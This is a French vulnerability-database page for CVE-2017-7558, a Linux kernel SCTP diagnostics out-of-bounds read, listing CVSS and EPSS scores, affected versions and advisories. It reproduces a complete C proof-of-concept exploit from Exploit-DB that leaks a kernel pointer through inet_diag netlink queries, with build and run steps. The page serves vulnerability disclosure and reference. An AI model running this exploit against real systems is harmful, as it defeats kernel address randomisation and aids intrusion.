CVE-2017-7558 : Détail

CVE-2017-7558

7.5
/
Haute
Overflow
0.31%V3
Network
2018-07-26
13h00 +00:00
2018-07-27
07h57 +00:00
CVE.org
NVD
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Descriptions du CVE

A kernel data leak due to an out-of-bound read was found in the Linux kernel in inet_diag_msg_sctp{,l}addr_fill() and sctp_get_sctp_info() functions present since version 4.7-rc1 through version 4.13. A data leak happens when these functions fill in sockaddr data structures used to export socket's diagnostic information. As a result, up to 100 bytes of the slab data could be leaked to a userspace.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-125 Out-of-bounds Read
The product reads data past the end, or before the beginning, of the intended buffer.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V3.0 5.1 MEDIUM CVSS:3.0/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

A vulnerability exploitable with Local access means that the vulnerable component is not bound to the network stack, and the attacker's path is via read/write/execute capabilities. In some cases, the attacker may be logged in locally in order to exploit the vulnerability, otherwise, she may rely on User Interaction to execute a malicious file.

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

High

A successful attack depends on conditions beyond the attacker's control. That is, a successful attack cannot be accomplished at will, but requires the attacker to invest in some measurable amount of effort in preparation or execution against the vulnerable component before a successful attack can be expected.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

None

There is no loss of integrity within the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

None

There is no impact to availability within the impacted component.

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics
V3.0 7.5 HIGH CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers).

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

None

There is no loss of integrity within the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

None

There is no impact to availability within the impacted component.

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

 [email protected]
V2 5 AV:N/AC:L/Au:N/C:P/I:N/A:N [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 45919

Date de publication : 2018-11-29 23h00 +00:00
Auteur : Jinbum Park
EDB Vérifié : No

/* # Exploit Title: Linux Kernel 4.8 (Ubuntu 16.04) - Leak sctp kernel pointer # Google Dork: - # Date: 2018-11-20 # Exploit Author: Jinbum Park # Vendor Homepage: - # Software Link: - # Version: Linux Kernel 4.8 (Ubuntu 16.04) # Tested on: 4.8.0-36-generic #36~16.04.1-Ubuntu SMP Sun Feb 5 09:39:57 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux # CVE: 2017-7558 # Category: Local */ /* * [ Briefs ] * - CVE-2017-7558 has discovered and reported by Stefano Brivio of the Red Hat. (but, no publicly available exploit) * - This is local exploit against the CVE-2017-7558. * * [ Tested version ] * - 4.8.0-36-generic #36~16.04.1-Ubuntu SMP Sun Feb 5 09:39:57 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux * * [ Prerequisites ] * - sudo apt-get install libsctp-dev * * [ Goal ] * - Leak kernel symbol address of "sctp_af_inet" * * [ Run exploit ] * - $ gcc poc.c -o poc -lsctp -lpthread * - $ ./poc * [] Waiting for connection * [] New client connected * [] Received data: Hello, Server! * [] sctp_af_inet address : 0 * [] sctp_af_inet address : ffffffffc0c541e0 * [] sctp_af_inet address : 0 * [] sctp_af_inet address : ffffffffc0c541e0 (leaked kernel pointer) * - $ sudo cat /proc/kallsyms | grep sctp_af_inet (Check whether leaked pointer value is corret) * ffffffffc0c541e0 d sctp_af_inet [sctp] * * [ Contact ] * - [email protected] */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #include <unistd.h> #include <asm/types.h> #include <sys/socket.h> #include <linux/netlink.h> #include <linux/rtnetlink.h> #include <netinet/in.h> #include <linux/tcp.h> #include <linux/sock_diag.h> #include <linux/inet_diag.h> #include <netinet/sctp.h> #include <arpa/inet.h> #include <pwd.h> #include <pthread.h> #include <errno.h> #define MY_PORT_NUM 62324 struct sctp_info { __u32 sctpi_tag; __u32 sctpi_state; __u32 sctpi_rwnd; __u16 sctpi_unackdata; __u16 sctpi_penddata; __u16 sctpi_instrms; __u16 sctpi_outstrms; __u32 sctpi_fragmentation_point; __u32 sctpi_inqueue; __u32 sctpi_outqueue; __u32 sctpi_overall_error; __u32 sctpi_max_burst; __u32 sctpi_maxseg; __u32 sctpi_peer_rwnd; __u32 sctpi_peer_tag; __u8 sctpi_peer_capable; __u8 sctpi_peer_sack; __u16 __reserved1; /* assoc status info */ __u64 sctpi_isacks; __u64 sctpi_osacks; __u64 sctpi_opackets; __u64 sctpi_ipackets; __u64 sctpi_rtxchunks; __u64 sctpi_outofseqtsns; __u64 sctpi_idupchunks; __u64 sctpi_gapcnt; __u64 sctpi_ouodchunks; __u64 sctpi_iuodchunks; __u64 sctpi_oodchunks; __u64 sctpi_iodchunks; __u64 sctpi_octrlchunks; __u64 sctpi_ictrlchunks; /* primary transport info */ struct sockaddr_storage sctpi_p_address; __s32 sctpi_p_state; __u32 sctpi_p_cwnd; __u32 sctpi_p_srtt; __u32 sctpi_p_rto; __u32 sctpi_p_hbinterval; __u32 sctpi_p_pathmaxrxt; __u32 sctpi_p_sackdelay; __u32 sctpi_p_sackfreq; __u32 sctpi_p_ssthresh; __u32 sctpi_p_partial_bytes_acked; __u32 sctpi_p_flight_size; __u16 sctpi_p_error; __u16 __reserved2; /* sctp sock info */ __u32 sctpi_s_autoclose; __u32 sctpi_s_adaptation_ind; __u32 sctpi_s_pd_point; __u8 sctpi_s_nodelay; __u8 sctpi_s_disable_fragments; __u8 sctpi_s_v4mapped; __u8 sctpi_s_frag_interleave; __u32 sctpi_s_type; __u32 __reserved3; }; enum { SS_UNKNOWN, SS_ESTABLISHED, SS_SYN_SENT, SS_SYN_RECV, SS_FIN_WAIT1, SS_FIN_WAIT2, SS_TIME_WAIT, SS_CLOSE, SS_CLOSE_WAIT, SS_LAST_ACK, SS_LISTEN, SS_CLOSING, SS_MAX }; enum sctp_state { SCTP_STATE_CLOSED = 0, SCTP_STATE_COOKIE_WAIT = 1, SCTP_STATE_COOKIE_ECHOED = 2, SCTP_STATE_ESTABLISHED = 3, SCTP_STATE_SHUTDOWN_PENDING = 4, SCTP_STATE_SHUTDOWN_SENT = 5, SCTP_STATE_SHUTDOWN_RECEIVED = 6, SCTP_STATE_SHUTDOWN_ACK_SENT = 7, }; enum { TCP_ESTABLISHED = 1, TCP_SYN_SENT, TCP_SYN_RECV, TCP_FIN_WAIT1, TCP_FIN_WAIT2, TCP_TIME_WAIT, TCP_CLOSE, TCP_CLOSE_WAIT, TCP_LAST_ACK, TCP_LISTEN, TCP_CLOSING, /* Now a valid state */ TCP_NEW_SYN_RECV, TCP_MAX_STATES /* Leave at the end! */ }; enum sctp_sock_state { SCTP_SS_CLOSED = TCP_CLOSE, SCTP_SS_LISTENING = TCP_LISTEN, SCTP_SS_ESTABLISHING = TCP_SYN_SENT, SCTP_SS_ESTABLISHED = TCP_ESTABLISHED, SCTP_SS_CLOSING = TCP_CLOSE_WAIT, }; static volatile int servser_stop_flag = 0; static volatile int client_stop_flag = 0; static void *server_thread(void *arg) { int listen_fd, conn_fd, flags, ret, in; char buffer[1024]; struct sctp_sndrcvinfo sndrcvinfo; struct sockaddr_in servaddr = { .sin_family = AF_INET, .sin_addr.s_addr = htonl(INADDR_ANY), .sin_port = htons(MY_PORT_NUM), }; struct sctp_initmsg initmsg = { .sinit_num_ostreams = 5, .sinit_max_instreams = 5, .sinit_max_attempts = 4, }; listen_fd = socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP); if (listen_fd < 0) return NULL; ret = bind(listen_fd, (struct sockaddr *) &servaddr, sizeof(servaddr)); if (ret < 0) return NULL; ret = setsockopt(listen_fd, IPPROTO_SCTP, SCTP_INITMSG, &initmsg, sizeof(initmsg)); if (ret < 0) return NULL; ret = listen(listen_fd, initmsg.sinit_max_instreams); if (ret < 0) return NULL; printf("[] Waiting for connection\n"); conn_fd = accept(listen_fd, (struct sockaddr *) NULL, NULL); if(conn_fd < 0) return NULL; printf("[] New client connected\n"); in = sctp_recvmsg(conn_fd, buffer, sizeof(buffer), NULL, 0, &sndrcvinfo, &flags); if (in > 0) { printf("[] Received data: %s\n", buffer); } while (servser_stop_flag == 0) sleep(1); close(conn_fd); return NULL; } static void *client_thread(void *arg) { int conn_fd, ret; const char *msg = "Hello, Server!"; struct sockaddr_in servaddr = { .sin_family = AF_INET, .sin_port = htons(MY_PORT_NUM), .sin_addr.s_addr = inet_addr("127.0.0.1"), }; conn_fd = socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP); if (conn_fd < 0) return NULL; ret = connect(conn_fd, (struct sockaddr *) &servaddr, sizeof(servaddr)); if (ret < 0) return NULL; ret = sctp_sendmsg(conn_fd, (void *) msg, strlen(msg) + 1, NULL, 0, 0, 0, 0, 0, 0 ); if (ret < 0) return NULL; while (client_stop_flag == 0) sleep(1); close(conn_fd); return NULL; } //Copied from libmnl source #define SOCKET_BUFFER_SIZE (getpagesize() < 8192L ? getpagesize() : 8192L) int send_diag_msg(int sockfd){ struct msghdr msg; struct nlmsghdr nlh; struct inet_diag_req_v2 conn_req; struct sockaddr_nl sa; struct iovec iov[4]; int retval = 0; //For the filter struct rtattr rta; void *filter_mem = NULL; int filter_len = 0; memset(&msg, 0, sizeof(msg)); memset(&sa, 0, sizeof(sa)); memset(&nlh, 0, sizeof(nlh)); memset(&conn_req, 0, sizeof(conn_req)); sa.nl_family = AF_NETLINK; conn_req.sdiag_family = AF_INET; conn_req.sdiag_protocol = IPPROTO_SCTP; conn_req.idiag_states = SCTP_SS_CLOSED; conn_req.idiag_ext |= (1 << (INET_DIAG_INFO - 1)); nlh.nlmsg_len = NLMSG_LENGTH(sizeof(conn_req)); nlh.nlmsg_flags = NLM_F_DUMP | NLM_F_REQUEST; nlh.nlmsg_type = SOCK_DIAG_BY_FAMILY; iov[0].iov_base = (void*) &nlh; iov[0].iov_len = sizeof(nlh); iov[1].iov_base = (void*) &conn_req; iov[1].iov_len = sizeof(conn_req); //Set essage correctly msg.msg_name = (void*) &sa; msg.msg_namelen = sizeof(sa); msg.msg_iov = iov; if(filter_mem == NULL) msg.msg_iovlen = 2; else msg.msg_iovlen = 4; retval = sendmsg(sockfd, &msg, 0); if(filter_mem != NULL) free(filter_mem); return retval; } void parse_diag_msg(struct inet_diag_msg *diag_msg, int rtalen){ struct rtattr *attr; struct sctp_info *sctpi; int i; unsigned char *ptr; if(diag_msg->idiag_family != AF_INET && diag_msg->idiag_family != AF_INET6) { fprintf(stderr, "Unknown family\n"); return; } if(rtalen > 0){ attr = (struct rtattr*) (diag_msg+1); while(RTA_OK(attr, rtalen)){ if(attr->rta_type == INET_DIAG_INFO){ // leak kernel pointer here!! sctpi = (struct sctp_info*) RTA_DATA(attr); ptr = ((unsigned char *)&sctpi->sctpi_p_address + 32); printf("[] sctp_af_inet address : %lx\n", *(unsigned long *)ptr); } attr = RTA_NEXT(attr, rtalen); } } } int main(int argc, char *argv[]){ int nl_sock = 0, numbytes = 0, rtalen = 0; struct nlmsghdr *nlh; uint8_t recv_buf[SOCKET_BUFFER_SIZE]; struct inet_diag_msg *diag_msg; pthread_t sctp_server; pthread_t sctp_client; // run sctp server & client if (pthread_create(&sctp_server, NULL, server_thread, NULL)) return EXIT_FAILURE; sleep(2); if (pthread_create(&sctp_client, NULL, client_thread, NULL)) return EXIT_FAILURE; sleep(2); // run inet_diag if((nl_sock = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_INET_DIAG)) == -1){ perror("socket: "); return EXIT_FAILURE; } if(send_diag_msg(nl_sock) < 0){ perror("sendmsg: "); return EXIT_FAILURE; } while(1){ numbytes = recv(nl_sock, recv_buf, sizeof(recv_buf), 0); nlh = (struct nlmsghdr*) recv_buf; while(NLMSG_OK(nlh, numbytes)){ if(nlh->nlmsg_type == NLMSG_DONE) { return EXIT_SUCCESS; } if(nlh->nlmsg_type == NLMSG_ERROR){ fprintf(stderr, "Error in netlink message\n"); return EXIT_FAILURE; } diag_msg = (struct inet_diag_msg*) NLMSG_DATA(nlh); rtalen = nlh->nlmsg_len - NLMSG_LENGTH(sizeof(*diag_msg)); parse_diag_msg(diag_msg, rtalen); nlh = NLMSG_NEXT(nlh, numbytes); } } printf("loop next\n"); // exit threads client_stop_flag = 1; if (pthread_join(sctp_client, NULL)) return EXIT_FAILURE; servser_stop_flag = 1; if (pthread_join(sctp_server, NULL)) return EXIT_FAILURE; printf("end\n"); return EXIT_SUCCESS; }

Products Mentioned

Configuraton 0

Linux>>Linux_kernel >> Version From (including) 4.7 To (including) 4.13

Linux>>Linux_kernel >> Version 4.7

Linux>>Linux_kernel >> Version 4.7

Linux>>Linux_kernel >> Version 4.7

Linux>>Linux_kernel >> Version 4.7

Linux>>Linux_kernel >> Version 4.7

Linux>>Linux_kernel >> Version 4.7

Linux>>Linux_kernel >> Version 4.7

Configuraton 0

Debian>>Debian_linux >> Version 8.0

Debian>>Debian_linux >> Version 9.0

Références

https://marc.info/?l=linux-netdev&m=150348777122761&w=2
Tags : mailing-list, x_refsource_MLIST
https://access.redhat.com/errata/RHSA-2017:2918
Tags : vendor-advisory, x_refsource_REDHAT
https://access.redhat.com/errata/RHSA-2017:2931
Tags : vendor-advisory, x_refsource_REDHAT
http://www.securityfocus.com/bid/100466
Tags : vdb-entry, x_refsource_BID
http://seclists.org/oss-sec/2017/q3/338
Tags : mailing-list, x_refsource_MLIST
http://www.securitytracker.com/id/1039221
Tags : vdb-entry, x_refsource_SECTRACK
https://www.debian.org/security/2017/dsa-3981
Tags : vendor-advisory, x_refsource_DEBIAN
https://access.redhat.com/errata/RHSA-2017:2930
Tags : vendor-advisory, x_refsource_REDHAT